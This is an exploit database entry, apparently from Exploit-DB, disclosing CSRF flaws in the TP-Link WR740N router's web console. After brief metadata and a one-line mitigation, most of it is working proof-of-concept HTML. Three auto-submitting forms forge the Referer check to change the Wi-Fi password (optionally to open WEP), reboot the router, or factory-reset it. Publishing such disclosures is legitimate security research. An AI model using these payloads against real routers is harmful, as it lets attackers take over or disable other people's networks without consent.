TPLINK WR740N Multiple CSRF Vulnerabilities

vendor:

WR740N

by:

SaMaN

7,8

CVSS

HIGH

Cross Site Request Forgery

352

CWE

Product Name: WR740N

Affected Version From: 3.16.6 Build 130529 Rel.47286n

Affected Version To: 3.16.6 Build 130529 Rel.47286n

Patch Exists: NO

Related CWE: N/A

CPE: h:tplink:wr740n

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: WR740N/WR740ND

2013

TPLINK WR740N Multiple CSRF Vulnerabilities

TPLINK WIreless Router WR740N has a Cross Site Request Forgery Vulnerability in its Web Console. Attacker can easily change Wireless password,Reboot Router,Change Settings by simply making the user visit a CSRF link. Application uses 'HTTP-REFERER' check functionality to check for CSRF attacks. But it can easily be bypassed using the 'Referer' parameter with value set to target's I.P in the GET request.

Mitigation:

Implementing a strong CSRF protection mechanism, such as using a unique token for each request, can help mitigate the risk of CSRF attacks.

Source

Exploit-DB raw data:

# Exploit Title: TPLINK WR740N Multiple CSRF Vulnerabilities
# Date: 11/24/2013
# Author: SaMaN( @samanL33T )
# Vendor Homepage: http://tplink.com
# Category: Hardware/Wireless Router
# Firmware Version: 3.16.6 Build 130529 Rel.47286n and below
# Tested on: WR740N/WR740ND (May be possible on other models)
---------------------------------------------------
 
Technical Details
~~~~~~~~~~~~~~~~~~
TPLINK WIreless Router WR740N has a Cross Site Request Forgery Vulnerability in its Web Console. Attacker can easily change Wireless password,Reboot Router,Change Settings by simply making the user visit a CSRF link.

Application uses "HTTP-REFERER" check functionality to check for CSRF attacks. But it can easily be bypassed using the "Referer" parameter with value set to target's I.P in the GET request.


Exploit Code 
~~~~~~~~~~~~~

Change WPA/WPA2 password by CSRF
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

<html>
<body onload="document.form.submit();">
<form action="http://[TARGET/IP]/userRpm/WlanSecurityRpm.htm"
method="GET" name="form">
<input type="hidden" name="secType" value="3">
<input type="hidden" name="pskSecOpt" value="3">
<input type="hidden" name="pskCipher" value="3">
<input type="hidden" name="pskSecret" value="[WPA/WPA2_PASSWORD]">
<input type="hidden" name="interval" value="0">
<input type="hidden" name="wpaSecOpt" value="3">
<input type="hidden" name="wpaCipher" value="1">
<input type="hidden" name="radiusIP" value="">
<input type="hidden" name="rediusPort" value="1812">
<input type="hidden" name="radiusSecret" value="">
<input type="hidden" name="IntervalWpa" value="0">
<input type="hidden" name="webSecOpt" value="1">
<input type="hidden" name="keytype" value="1">
<input type="hidden" name="keynum" value="1">
<input type="hidden" name="key1" value="">
<input type="hidden" name="length1" value="0">
<input type="hidden" name="key2" value="">
<input type="hidden" name="length2" value="0">
<input type="hidden" name="key3" value="">
<input type="hidden" name="length3" value="0">
<input type="hidden" name="key4" value="">
<input type="hidden" name="length4" value="0">
<input type="hidden" name="Save" value="Save">
<input type="hidden" name="Referer" value="http://[TARGET/IP]/">
</form>
</body>
</html>


#For Changing the Security to Open WEP, simply change "secType" value to 1.

Reboot Router by CSRF
~~~~~~~~~~~~~~~~~~~~~

<html>
<body onload="document.form.submit();">
<form action="http://[TARGET/IP]/userRpm/SysRebootRpm.htm"
method="GET" name="form">
<input type="hidden" name="Reboot" value="Reboot">
<input type="hidden" name="Referer" value="http://[TARGET/IP]/">
</form>
</body>
</html>


Factory Reset the Router
~~~~~~~~~~~~~~~~~~~~~~~~

<html>
<body onload="document.form.submit();">
<form action="http://[TARGET/IP]/userRpm/RestoreDefaultCfgRpm.htm"
method="GET" name="form">
<input type="hidden" name="Restorefactory" value="Restore">
<input type="hidden" name="Referer" value="http://[TARGET/IP]/">
</form>
</body>
</html>



--
SaMaN
twitter : @samanL33T <https://twitter.com/samanL33T>